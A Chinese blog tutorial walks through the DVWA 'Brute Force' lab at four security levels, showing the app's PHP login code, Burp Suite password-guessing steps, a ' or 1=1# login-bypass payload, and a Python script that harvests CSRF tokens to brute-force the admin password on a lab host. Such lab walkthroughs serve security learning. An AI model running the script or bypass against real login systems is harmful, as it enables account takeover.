DVWA - Brute Force

2024-06-17 07:12
文章标签 force dvwa brute

本文主要是介绍DVWA - Brute Force,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

DVWA - Brute Force

等级:low

在这里插入图片描述

直接上bp弱口令爆破,设置变量,攻击类型最后一个,payload为用户名、密码简单列表

在这里插入图片描述

在这里插入图片描述

直接run,长度排序下,不一样的就是正确的用户名和密码

在这里插入图片描述

另解:
看一下源码,user变量直接被嵌入sql语句中,没有进行任何过滤,故可以用万能密码(' or 1=1#​)截断sql语句,使result值为1,绕过登陆验证

在这里插入图片描述

等级:medium

直接看源码:

<?phpif( isset( $_GET[ 'Login' ] ) ) {// Sanitise username input$user = $_GET[ 'username' ];$user = mysql_real_escape_string( $user );// Sanitise password input$pass = $_GET[ 'password' ];$pass = mysql_real_escape_string( $pass );$pass = md5( $pass );// Check the database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );if( $result && mysql_num_rows( $result ) == 1 ) {// Get users details$avatar = mysql_result( $result, 0, "avatar" );// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedsleep( 2 );echo "<pre><br />Username and/or password incorrect.</pre>";}mysql_close();
}?>

添加了mysql_real_escape_string( )函数来转义参数中的特殊字符,故万能密码行不通,此外增加了登陆失败执行sleep(2)函数,一定程度上限制了爆破攻击,增加攻击者的成本。我们依旧用bp爆破,但是要设置下请求间隔为2100毫秒

在这里插入图片描述

等级:high

直接看源码:

<?phpif( isset( $_GET[ 'Login' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_GET[ 'username' ];$user = stripslashes( $user );$user = mysql_real_escape_string( $user );// Sanitise password input$pass = $_GET[ 'password' ];$pass = stripslashes( $pass );$pass = mysql_real_escape_string( $pass );$pass = md5( $pass );// Check database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );if( $result && mysql_num_rows( $result ) == 1 ) {// Get users details$avatar = mysql_result( $result, 0, "avatar" );// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedsleep( rand( 0, 3 ) );echo "<pre><br />Username and/or password incorrect.</pre>";}mysql_close();
}// Generate Anti-CSRF token
generateSessionToken();?>

这里添加了token的校验,checkToken( )函数检查用户token和会话token是否相同,generateSessionToken( )函数是自定义函数,用于创建user_token,这里是从上一次请求的response里面提取的token,我们抓个包分析下

在这里插入图片描述

在这里插入图片描述

所以我们用bp爆破的话,要给token设置变量,递归提取token,操作如下:

先设置grep规则,要勾选总是重定向,线程要设置成1,url编码要把=和&去掉

在这里插入图片描述

然后run

在这里插入图片描述

另解:

当然不熟悉bp操作的话,可以写python脚本来解决,如下:

import re
import requests# 设置cookie
headers = {'Cookie': 'PHPSESSID=m7t4i0m8ft1rh1p6frtm5t0bh0; security=high',
}# 从返回值中提取cookie
def get_token():url = 'http://ctfdemo.com:8008/vulnerabilities/brute/'req = requests.get(url, headers=headers)match = re.search(r'value=\'(.+)\'', req.text)return  match.group(1)# 请求脚本,这里为了省事,用户名固定了 
def brute(pw, user_token):url = "http://ctfdemo.com:8008/vulnerabilities/brute/"params = {'username': 'admin','password': pw,'Login': 'Login','user_token':user_token}req = requests.get(url, params=params, headers=headers)return req.textdef main():with open('password.txt') as p:pslist = p.readlines()p.close()for line in pslist:line = line.strip()user_token = get_token()result = brute(line, user_token)print("%s...... 已测试" % line)if not "incorrect" in result:print("攻击成功,密码是: %s" % line)breakif __name__ == '__main__':main()

输出:

在这里插入图片描述

等级:impossible

直接分析源码:

<?phpif( isset( $_POST[ 'Login' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_POST[ 'username' ];$user = stripslashes( $user );$user = mysql_real_escape_string( $user );// Sanitise password input$pass = $_POST[ 'password' ];$pass = stripslashes( $pass );$pass = mysql_real_escape_string( $pass );$pass = md5( $pass );// Default values$total_failed_login = 3;$lockout_time       = 15;$account_locked     = false;// Check the database (Check user information)$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// Check to see if the user has been locked out.if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {// User locked out.  Note, using this method would allow for user enumeration!//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";// Calculate when the user would be allowed to login again$last_login = $row[ 'last_login' ];$last_login = strtotime( $last_login );$timeout    = strtotime( "{$last_login} +{$lockout_time} minutes" );$timenow    = strtotime( "now" );// Check to see if enough time has passed, if it hasn't locked the accountif( $timenow > $timeout )$account_locked = true;}// Check the database (if username matches the password)$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR);$data->bindParam( ':password', $pass, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// If its a valid login...if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {// Get users details$avatar       = $row[ 'avatar' ];$failed_login = $row[ 'failed_login' ];$last_login   = $row[ 'last_login' ];// Login successfulecho "<p>Welcome to the password protected area <em>{$user}</em></p>";echo "<img src=\"{$avatar}\" />";// Had the account been locked out since last login?if( $failed_login >= $total_failed_login ) {echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";}// Reset bad login count$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();}else {// Login failedsleep( rand( 2, 4 ) );// Give the user some feedbackecho "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";// Update bad login count$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();}// Set the last login time$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();
}// Generate Anti-CSRF token
generateSessionToken();?>

使用了 PDO(PHP Data Objects)扩展,即预处理和参数化查询,避免了SQL注入攻击;设置了最大登陆次数($total_failed_login = 3),当登陆失败的次数超过3次,会输出警告信息,锁定账户。在一方面确实防止了爆破攻击,但是我们可以批量让用户锁定,也是在一方面影响了用户的体验。

这篇关于DVWA - Brute Force的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1068783

相关文章

Lenze伦茨EMF2102IBC−LECOM−A/B/LI L−force Communication手测

Lenze伦茨EMF2102IBC−LECOM−A/B/LI L−force Communication手测

repo 命令 repo force -c

//https://blog.csdn.net/qwaszx523/article/details/54405793 Usage: repo forall [<project>...] -c <command> [<arg>...] repo forall -r str1 [str2] ... -c <command> [<arg>...]"       遍历所有的git仓库,并在每个仓库执

Force Yc团队最新第五次创作引导页源码

Force Yc团队最新第五次创作引导页源码 此源码可以播放自己的音乐 无法播放视频背景!~ 音乐修改:music 音乐名称:bgm.mp3 LOGO修改:images 图片名字:top-logo.mp4 文本修改:index.html Notepad++编辑 Force Yc团队最新第五次创作引导页源码

android NDK开发中,用Cygwin调试本地代码时报错“Another debug session running,Use --force to kill it”原因及解决办法

在使用ndk-gdb调试的时候,执行$NDK/ndk-gdb --verbose报错“Another debug session running,Use --force to kill it”。      我查了NDK官方文档,是这样说的:        --force: By default, ndk-gdb aborts if it finds that another nati

hdu 3315 My Brute 网络流

Description Seaco is a beautiful girl and likes play a game called “My Brute”. Before Valentine’s Day, starvae and xingxing ask seaco if she wants to spend the Valentine’s Day with them, but sea

网络安全 DVWA通关指南 DVWA File Upload(文件上传)

DVWA File Upload(文件上传) 文章目录 DVWA File Upload(文件上传)修复建议 LowMediumHighImpossible 修复建议 1、使用白名单限制可以上传的文件扩展名 2、注意0x00截断攻击(PHP更新到最新版本) 3、对上传后的文件统一随机命名,不允许用户控制扩展名 4、上传文件的存储目录禁用执行权限 Low 1、分析网页

Android13禁用Settings里面的Force Stop 強制停止按钮

总纲 android13 rom 开发总纲说明 目录 1.前言 2.问题分析 3.代码修改 4.编译 5.彩蛋 1.前言 禁用Settings里面的 強制停止按钮,禁用下面这个按钮 2.问题分析 根据文本找到对应的位置 搜索 Force stop 或者 強制停止,结果 ./packages/apps/Settings/res/values/strings

【网络安全的神秘世界】搭建dvwa靶场

🌝博客主页:泥菩萨 💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 下载DVWA https://github.com/digininja/DVWA/blob/master/README.zh.md 安装DVWA 安装phpstudy https://editor.csdn.net/md/?articleId=1399043

DVWA-CSRF-samesite分析

拿DVWA的CSRF为例子 接DVWA的分析,发现其实Impossible的PHPSESSID是设置的samesite=1. 参数的意思参考Set-Cookie SameSite:控制 cookie 是否随跨站请求一起发送,这样可以在一定程度上防范跨站请求伪造攻击(CSRF)。 下面用DVWA CSRF Low Level来分析下samsite的设置。 DVWA CSRF Cookie一共包

DVWA-命令执行通关

基础知识-命令拼接符 A&&B 表示A命令语句执行成功,然后执行B命令语句 A&B,表示简单的拼接,A命令语句和B命令语句没有制约关系 A|B,表示A命令语句的输出,作为B命令语句的输入执行 A||B,表示A命令语句执行失败,然后才执行B命令语句。 linux操作系统 反引号:将里面的内容作为命令执行。 medium 过滤了 && ;没有过滤 | high 过